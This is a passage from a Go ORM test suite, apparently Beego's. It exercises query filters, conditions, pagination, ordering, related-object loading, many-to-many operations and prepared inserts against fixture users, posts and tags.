qs.Filter(\"created\", time.Now().Format(format_Date)).Count()\n\t// throwFail(t, err)\n\t// throwFail(t, AssertIs(num, 3))\n}\n\nfunc TestOperators(t *testing.T) {\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.Filter(\"user_name\", \"slene\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name__exact\", String(\"slene\")).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name__exact\", \"slene\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name__iexact\", \"Slene\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name__contains\", \"e\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tvar shouldNum int\n\n\tif IsSqlite || IsTidb {\n\t\tshouldNum = 2\n\t} else {\n\t\tshouldNum = 0\n\t}\n\n\tnum, err = qs.Filter(\"user_name__contains\", \"E\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, shouldNum))\n\n\tnum, err = qs.Filter(\"user_name__icontains\", \"E\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"user_name__icontains\", \"E\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"status__gt\", 1).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"status__gte\", 1).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\n\tnum, err = qs.Filter(\"status__lt\", Uint(3)).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"status__lte\", Int(3)).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\n\tnum, err = qs.Filter(\"user_name__startswith\", \"s\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tif IsSqlite || IsTidb {\n\t\tshouldNum = 1\n\t} else {\n\t\tshouldNum = 0\n\t}\n\n\tnum, err = qs.Filter(\"user_name__startswith\", \"S\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, shouldNum))\n\n\tnum, err = qs.Filter(\"user_name__istartswith\", \"S\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"user_name__endswith\", \"e\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tif IsSqlite || IsTidb {\n\t\tshouldNum = 2\n\t} else {\n\t\tshouldNum = 0\n\t}\n\n\tnum, err = qs.Filter(\"user_name__endswith\", \"E\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, shouldNum))\n\n\tnum, err = qs.Filter(\"user_name__iendswith\", \"E\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"profile__isnull\", true).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"status__in\", 1, 2).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"status__in\", []int{1, 2}).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tn1, n2 := 1, 2\n\tnum, err = qs.Filter(\"status__in\", []*int{&n1}, &n2).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"id__between\", 2, 3).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Filter(\"id__between\", []int{2, 3}).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n}\n\nfunc TestSetCond(t *testing.T) {\n\tcond := NewCondition()\n\tcond1 := cond.And(\"profile__isnull\", false).AndNot(\"status__in\", 1).Or(\"profile__age__gt\", 2000)\n\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.SetCond(cond1).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tcond2 := cond.AndCond(cond1).OrCond(cond.And(\"user_name\", \"slene\"))\n\tnum, err = qs.SetCond(cond2).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tcond3 := cond.AndNotCond(cond.And(\"status__in\", 1))\n\tnum, err = qs.SetCond(cond3).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tcond4 := cond.And(\"user_name\", \"slene\").OrNotCond(cond.And(\"user_name\", \"slene\"))\n\tnum, err = qs.SetCond(cond4).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n}\n\nfunc TestLimit(t *testing.T) {\n\tvar posts []*Post\n\tqs := dORM.QueryTable(\"post\")\n\tnum, err := qs.Limit(1).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Limit(-1).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 4))\n\n\tnum, err = qs.Limit(-1, 2).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\tnum, err = qs.Limit(0, 2).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n}\n\nfunc TestOffset(t *testing.T) {\n\tvar posts []*Post\n\tqs := dORM.QueryTable(\"post\")\n\tnum, err := qs.Limit(1).Offset(2).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Offset(2).All(&posts)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n}\n\nfunc TestOrderBy(t *testing.T) {\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.OrderBy(\"-status\").Filter(\"user_name\", \"nobody\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.OrderBy(\"status\").Filter(\"user_name\", \"slene\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.OrderBy(\"-profile__age\").Filter(\"user_name\", \"astaxie\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestAll(t *testing.T) {\n\tvar users []*User\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.OrderBy(\"Id\").All(&users)\n\tthrowFail(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\n\tthrowFail(t, AssertIs(users[0].UserName, \"slene\"))\n\tthrowFail(t, AssertIs(users[1].UserName, \"astaxie\"))\n\tthrowFail(t, AssertIs(users[2].UserName, \"nobody\"))\n\n\tvar users2 []User\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err = qs.OrderBy(\"Id\").All(&users2)\n\tthrowFail(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\n\tthrowFailNow(t, AssertIs(users2[0].UserName, \"slene\"))\n\tthrowFailNow(t, AssertIs(users2[1].UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(users2[2].UserName, \"nobody\"))\n\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err = qs.OrderBy(\"Id\").RelatedSel().All(&users2, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\tthrowFailNow(t, AssertIs(len(users2), 3))\n\tthrowFailNow(t, AssertIs(users2[0].UserName, \"slene\"))\n\tthrowFailNow(t, AssertIs(users2[1].UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(users2[2].UserName, \"nobody\"))\n\tthrowFailNow(t, AssertIs(users2[0].ID, 0))\n\tthrowFailNow(t, AssertIs(users2[1].ID, 0))\n\tthrowFailNow(t, AssertIs(users2[2].ID, 0))\n\tthrowFailNow(t, AssertIs(users2[0].Profile == nil, false))\n\tthrowFailNow(t, AssertIs(users2[1].Profile == nil, false))\n\tthrowFailNow(t, AssertIs(users2[2].Profile == nil, true))\n\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err = qs.Filter(\"user_name\", \"nothing\").All(&users)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 0))\n\n\tvar users3 []*User\n\tqs = dORM.QueryTable(\"user\")\n\tnum, err = qs.Filter(\"user_name\", \"nothing\").All(&users3)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 0))\n\tthrowFailNow(t, AssertIs(users3 == nil, false))\n}\n\nfunc TestOne(t *testing.T) {\n\tvar user User\n\tqs := dORM.QueryTable(\"user\")\n\terr := qs.One(&user)\n\tthrowFail(t, err)\n\n\tuser = User{}\n\terr = qs.OrderBy(\"Id\").Limit(1).One(&user)\n\tthrowFailNow(t, err)\n\tthrowFail(t, AssertIs(user.UserName, \"slene\"))\n\tthrowFail(t, AssertNot(err, ErrMultiRows))\n\n\tuser = User{}\n\terr = qs.OrderBy(\"-Id\").Limit(100).One(&user)\n\tthrowFailNow(t, err)\n\tthrowFail(t, AssertIs(user.UserName, \"nobody\"))\n\tthrowFail(t, AssertNot(err, ErrMultiRows))\n\n\terr = qs.Filter(\"user_name\", \"nothing\").One(&user)\n\tthrowFail(t, AssertIs(err, ErrNoRows))\n\n}\n\nfunc TestValues(t *testing.T) {\n\tvar maps []Params\n\tqs := dORM.QueryTable(\"user\")\n\n\tnum, err := qs.OrderBy(\"Id\").Values(&maps)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(maps[0][\"UserName\"], \"slene\"))\n\t\tthrowFail(t, AssertIs(maps[2][\"Profile\"], nil))\n\t}\n\n\tnum, err = qs.OrderBy(\"Id\").Values(&maps, \"UserName\", \"Profile__Age\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(maps[0][\"UserName\"], \"slene\"))\n\t\tthrowFail(t, AssertIs(maps[0][\"Profile__Age\"], 28))\n\t\tthrowFail(t, AssertIs(maps[2][\"Profile__Age\"], nil))\n\t}\n\n\tnum, err = qs.Filter(\"UserName\", \"slene\").Values(&maps)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n}\n\nfunc TestValuesList(t *testing.T) {\n\tvar list []ParamsList\n\tqs := dORM.QueryTable(\"user\")\n\n\tnum, err := qs.OrderBy(\"Id\").ValuesList(&list)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(list[0][1], \"slene\"))\n\t\tthrowFail(t, AssertIs(list[2][9], nil))\n\t}\n\n\tnum, err = qs.OrderBy(\"Id\").ValuesList(&list, \"UserName\", \"Profile__Age\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(list[0][0], \"slene\"))\n\t\tthrowFail(t, AssertIs(list[0][1], 28))\n\t\tthrowFail(t, AssertIs(list[2][1], nil))\n\t}\n}\n\nfunc TestValuesFlat(t *testing.T) {\n\tvar list ParamsList\n\tqs := dORM.QueryTable(\"user\")\n\n\tnum, err := qs.OrderBy(\"id\").ValuesFlat(&list, \"UserName\")\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 3))\n\tif num == 3 {\n\t\tthrowFail(t, AssertIs(list[0], \"slene\"))\n\t\tthrowFail(t, AssertIs(list[1], \"astaxie\"))\n\t\tthrowFail(t, AssertIs(list[2], \"nobody\"))\n\t}\n}\n\nfunc TestRelatedSel(t *testing.T) {\n\tif IsTidb {\n\t\t// Skip it. TiDB does not support relation now.\n\t\treturn\n\t}\n\tqs := dORM.QueryTable(\"user\")\n\tnum, err := qs.Filter(\"profile__age\", 28).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"profile__age__gt\", 28).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tnum, err = qs.Filter(\"profile__user__profile__age__gt\", 28).Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tvar user User\n\terr = qs.Filter(\"user_name\", \"slene\").RelatedSel(\"profile\").One(&user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tthrowFail(t, AssertNot(user.Profile, nil))\n\tif user.Profile != nil {\n\t\tthrowFail(t, AssertIs(user.Profile.Age, 28))\n\t}\n\n\terr = qs.Filter(\"user_name\", \"slene\").RelatedSel().One(&user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tthrowFail(t, AssertNot(user.Profile, nil))\n\tif user.Profile != nil {\n\t\tthrowFail(t, AssertIs(user.Profile.Age, 28))\n\t}\n\n\terr = qs.Filter(\"user_name\", \"nobody\").RelatedSel(\"profile\").One(&user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\tthrowFail(t, AssertIs(user.Profile, nil))\n\n\tqs = dORM.QueryTable(\"user_profile\")\n\tnum, err = qs.Filter(\"user__username\", \"slene\").Count()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 1))\n\n\tvar posts []*Post\n\tqs = dORM.QueryTable(\"post\")\n\tnum, err = qs.RelatedSel().All(&posts)\n\tthrowFail(t, err)\n\tthrowFailNow(t, AssertIs(num, 4))\n\n\tthrowFailNow(t, AssertIs(posts[0].User.UserName, \"slene\"))\n\tthrowFailNow(t, AssertIs(posts[1].User.UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(posts[2].User.UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(posts[3].User.UserName, \"nobody\"))\n}\n\nfunc TestReverseQuery(t *testing.T) {\n\tvar profile Profile\n\terr := dORM.QueryTable(\"user_profile\").Filter(\"User\", 3).One(&profile)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(profile.Age, 30))\n\n\tprofile = Profile{}\n\terr = dORM.QueryTable(\"user_profile\").Filter(\"User__UserName\", \"astaxie\").One(&profile)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(profile.Age, 30))\n\n\tvar user User\n\terr = dORM.QueryTable(\"user\").Filter(\"Posts__Title\", \"Examples\").One(&user)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(user.UserName, \"astaxie\"))\n\n\tuser = User{}\n\terr = dORM.QueryTable(\"user\").Filter(\"Posts__User__UserName\", \"astaxie\").Limit(1).One(&user)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(user.UserName, \"astaxie\"))\n\n\tuser = User{}\n\terr = dORM.QueryTable(\"user\").Filter(\"Posts__User__UserName\", \"astaxie\").RelatedSel().Limit(1).One(&user)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(user.UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(user.Profile == nil, false))\n\tthrowFailNow(t, AssertIs(user.Profile.Age, 30))\n\n\tvar posts []*Post\n\tnum, err := dORM.QueryTable(\"post\").Filter(\"Tags__Tag__Name\", \"golang\").All(&posts)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\tthrowFailNow(t, AssertIs(posts[0].Title, \"Introduction\"))\n\n\tposts = []*Post{}\n\tnum, err = dORM.QueryTable(\"post\").Filter(\"Tags__Tag__Name\", \"golang\").Filter(\"User__UserName\", \"slene\").All(&posts)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(posts[0].Title, \"Introduction\"))\n\n\tposts = []*Post{}\n\tnum, err = dORM.QueryTable(\"post\").Filter(\"Tags__Tag__Name\", \"golang\").\n\t\tFilter(\"User__UserName\", \"slene\").RelatedSel().All(&posts)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(posts[0].User == nil, false))\n\tthrowFailNow(t, AssertIs(posts[0].User.UserName, \"slene\"))\n\n\tvar tags []*Tag\n\tnum, err = dORM.QueryTable(\"tag\").Filter(\"Posts__Post__Title\", \"Introduction\").All(&tags)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(tags[0].Name, \"golang\"))\n\n\ttags = []*Tag{}\n\tnum, err = dORM.QueryTable(\"tag\").Filter(\"Posts__Post__Title\", \"Introduction\").\n\t\tFilter(\"BestPost__User__UserName\", \"astaxie\").All(&tags)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(tags[0].Name, \"golang\"))\n\n\ttags = []*Tag{}\n\tnum, err = dORM.QueryTable(\"tag\").Filter(\"Posts__Post__Title\", \"Introduction\").\n\t\tFilter(\"BestPost__User__UserName\", \"astaxie\").RelatedSel().All(&tags)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(tags[0].Name, \"golang\"))\n\tthrowFailNow(t, AssertIs(tags[0].BestPost == nil, false))\n\tthrowFailNow(t, AssertIs(tags[0].BestPost.Title, \"Examples\"))\n\tthrowFailNow(t, AssertIs(tags[0].BestPost.User == nil, false))\n\tthrowFailNow(t, AssertIs(tags[0].BestPost.User.UserName, \"astaxie\"))\n}\n\nfunc TestLoadRelated(t *testing.T) {\n\t// load reverse foreign key\n\tuser := User{ID: 3}\n\n\terr := dORM.Read(&user)\n\tthrowFailNow(t, err)\n\n\tnum, err := dORM.LoadRelated(&user, \"Posts\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(user.Posts), 2))\n\tthrowFailNow(t, AssertIs(user.Posts[0].User.ID, 3))\n\n\tnum, err = dORM.LoadRelated(&user, \"Posts\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(user.Posts), 2))\n\tthrowFailNow(t, AssertIs(user.Posts[0].User.UserName, \"astaxie\"))\n\n\tnum, err = dORM.LoadRelated(&user, \"Posts\", true, 1)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(len(user.Posts), 1))\n\n\tnum, err = dORM.LoadRelated(&user, \"Posts\", true, 0, 0, \"-Id\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(user.Posts), 2))\n\tthrowFailNow(t, AssertIs(user.Posts[0].Title, \"Formatting\"))\n\n\tnum, err = dORM.LoadRelated(&user, \"Posts\", true, 1, 1, \"Id\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(len(user.Posts), 1))\n\tthrowFailNow(t, AssertIs(user.Posts[0].Title, \"Formatting\"))\n\n\t// load reverse one to one\n\tprofile := Profile{ID: 3}\n\tprofile.BestPost = &Post{ID: 2}\n\tnum, err = dORM.Update(&profile, \"BestPost\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\terr = dORM.Read(&profile)\n\tthrowFailNow(t, err)\n\n\tnum, err = dORM.LoadRelated(&profile, \"User\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(profile.User == nil, false))\n\tthrowFailNow(t, AssertIs(profile.User.UserName, \"astaxie\"))\n\n\tnum, err = dORM.LoadRelated(&profile, \"User\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(profile.User == nil, false))\n\tthrowFailNow(t, AssertIs(profile.User.UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(profile.User.Profile.Age, profile.Age))\n\n\t// load rel one to one\n\terr = dORM.Read(&user)\n\tthrowFailNow(t, err)\n\n\tnum, err = dORM.LoadRelated(&user, \"Profile\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(user.Profile == nil, false))\n\tthrowFailNow(t, AssertIs(user.Profile.Age, 30))\n\n\tnum, err = dORM.LoadRelated(&user, \"Profile\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(user.Profile == nil, false))\n\tthrowFailNow(t, AssertIs(user.Profile.Age, 30))\n\tthrowFailNow(t, AssertIs(user.Profile.BestPost == nil, false))\n\tthrowFailNow(t, AssertIs(user.Profile.BestPost.Title, \"Examples\"))\n\n\tpost := Post{ID: 2}\n\n\t// load rel foreign key\n\terr = dORM.Read(&post)\n\tthrowFailNow(t, err)\n\n\tnum, err = dORM.LoadRelated(&post, \"User\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(post.User == nil, false))\n\tthrowFailNow(t, AssertIs(post.User.UserName, \"astaxie\"))\n\n\tnum, err = dORM.LoadRelated(&post, \"User\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\tthrowFailNow(t, AssertIs(post.User == nil, false))\n\tthrowFailNow(t, AssertIs(post.User.UserName, \"astaxie\"))\n\tthrowFailNow(t, AssertIs(post.User.Profile == nil, false))\n\tthrowFailNow(t, AssertIs(post.User.Profile.Age, 30))\n\n\t// load rel m2m\n\tpost = Post{ID: 2}\n\n\terr = dORM.Read(&post)\n\tthrowFailNow(t, err)\n\n\tnum, err = dORM.LoadRelated(&post, \"Tags\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(post.Tags), 2))\n\tthrowFailNow(t, AssertIs(post.Tags[0].Name, \"golang\"))\n\n\tnum, err = dORM.LoadRelated(&post, \"Tags\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\tthrowFailNow(t, AssertIs(len(post.Tags), 2))\n\tthrowFailNow(t, AssertIs(post.Tags[0].Name, \"golang\"))\n\tthrowFailNow(t, AssertIs(post.Tags[0].BestPost == nil, false))\n\tthrowFailNow(t, AssertIs(post.Tags[0].BestPost.User.UserName, \"astaxie\"))\n\n\t// load reverse m2m\n\ttag := Tag{ID: 1}\n\n\terr = dORM.Read(&tag)\n\tthrowFailNow(t, err)\n\n\tnum, err = dORM.LoadRelated(&tag, \"Posts\")\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].Title, \"Introduction\"))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].User.ID, 2))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].User.Profile == nil, true))\n\n\tnum, err = dORM.LoadRelated(&tag, \"Posts\", true)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].Title, \"Introduction\"))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].User.ID, 2))\n\tthrowFailNow(t, AssertIs(tag.Posts[0].User.UserName, \"slene\"))\n}\n\nfunc TestQueryM2M(t *testing.T) {\n\tpost := Post{ID: 4}\n\tm2m := dORM.QueryM2M(&post, \"Tags\")\n\n\ttag1 := []*Tag{{Name: \"TestTag1\"}, {Name: \"TestTag2\"}}\n\ttag2 := &Tag{Name: \"TestTag3\"}\n\ttag3 := []interface{}{&Tag{Name: \"TestTag4\"}}\n\n\ttags := []interface{}{tag1[0], tag1[1], tag2, tag3[0]}\n\n\tfor _, tag := range tags {\n\t\t_, err := dORM.Insert(tag)\n\t\tthrowFailNow(t, err)\n\t}\n\n\tnum, err := m2m.Add(tag1)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\n\tnum, err = m2m.Add(tag2)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Add(tag3)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 5))\n\n\tnum, err = m2m.Remove(tag3)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 4))\n\n\texist := m2m.Exist(tag2)\n\tthrowFailNow(t, AssertIs(exist, true))\n\n\tnum, err = m2m.Remove(tag2)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\texist = m2m.Exist(tag2)\n\tthrowFailNow(t, AssertIs(exist, false))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\n\tnum, err = m2m.Clear()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 0))\n\n\ttag := Tag{Name: \"test\"}\n\t_, err = dORM.Insert(&tag)\n\tthrowFailNow(t, err)\n\n\tm2m = dORM.QueryM2M(&tag, \"Posts\")\n\n\tpost1 := []*Post{{Title: \"TestPost1\"}, {Title: \"TestPost2\"}}\n\tpost2 := &Post{Title: \"TestPost3\"}\n\tpost3 := []interface{}{&Post{Title: \"TestPost4\"}}\n\n\tposts := []interface{}{post1[0], post1[1], post2, post3[0]}\n\n\tfor _, post := range posts {\n\t\tp := post.(*Post)\n\t\tp.User = &User{ID: 1}\n\t\t_, err := dORM.Insert(post)\n\t\tthrowFailNow(t, err)\n\t}\n\n\tnum, err = m2m.Add(post1)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\n\tnum, err = m2m.Add(post2)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Add(post3)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 4))\n\n\tnum, err = m2m.Remove(post3)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 3))\n\n\texist = m2m.Exist(post2)\n\tthrowFailNow(t, AssertIs(exist, true))\n\n\tnum, err = m2m.Remove(post2)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n\n\texist = m2m.Exist(post2)\n\tthrowFailNow(t, AssertIs(exist, false))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\n\tnum, err = m2m.Clear()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n\n\tnum, err = m2m.Count()\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 0))\n\n\tnum, err = dORM.Delete(&tag)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 1))\n}\n\nfunc TestQueryRelate(t *testing.T) {\n\t// post := &Post{Id: 2}\n\n\t// qs := dORM.QueryRelate(post, \"Tags\")\n\t// num, err := qs.Count()\n\t// throwFailNow(t, err)\n\t// throwFailNow(t, AssertIs(num, 2))\n\n\t// var tags []*Tag\n\t// num, err = qs.All(&tags)\n\t// throwFailNow(t, err)\n\t// throwFailNow(t, AssertIs(num, 2))\n\t// throwFailNow(t, AssertIs(tags[0].Name, \"golang\"))\n\n\t// num, err = dORM.QueryTable(\"Tag\").Filter(\"Posts__Post\", 2).Count()\n\t// throwFailNow(t, err)\n\t// throwFailNow(t, AssertIs(num, 2))\n}\n\nfunc TestPkManyRelated(t *testing.T) {\n\tpermission := &Permission{Name: \"readPosts\"}\n\terr := dORM.Read(permission, \"Name\")\n\tthrowFailNow(t, err)\n\n\tvar groups []*Group\n\tqs := dORM.QueryTable(\"Group\")\n\tnum, err := qs.Filter(\"Permissions__Permission\", permission.ID).All(&groups)\n\tthrowFailNow(t, err)\n\tthrowFailNow(t, AssertIs(num, 2))\n}\n\nfunc TestPrepareInsert(t *testing.T) {\n\tqs := dORM.QueryTable(\"user\")\n\ti, err := qs.PrepareInsert()\n\tthrowFailNow(t, err)\n\n\tvar user User\n\tuser.UserName = \"testing1\"\n\tnum, err := i.Insert(&user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num > 0, true))\n\n\tuser.UserName = \"testing2\"\n\tnum, err = i.Insert(&user)\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num > 0, true))\n\n\tnum, err = qs.Filter(\"user_name__in\", \"testing1\", \"testing2\").Delete()\n\tthrowFail(t, err)\n\tthrowFail(t, AssertIs(num, 2))\n\n\terr = i.Close()\n\tthrowFail(t, err)\n\terr = i.Close()\n\tthrowFail(t, AssertIs(err, 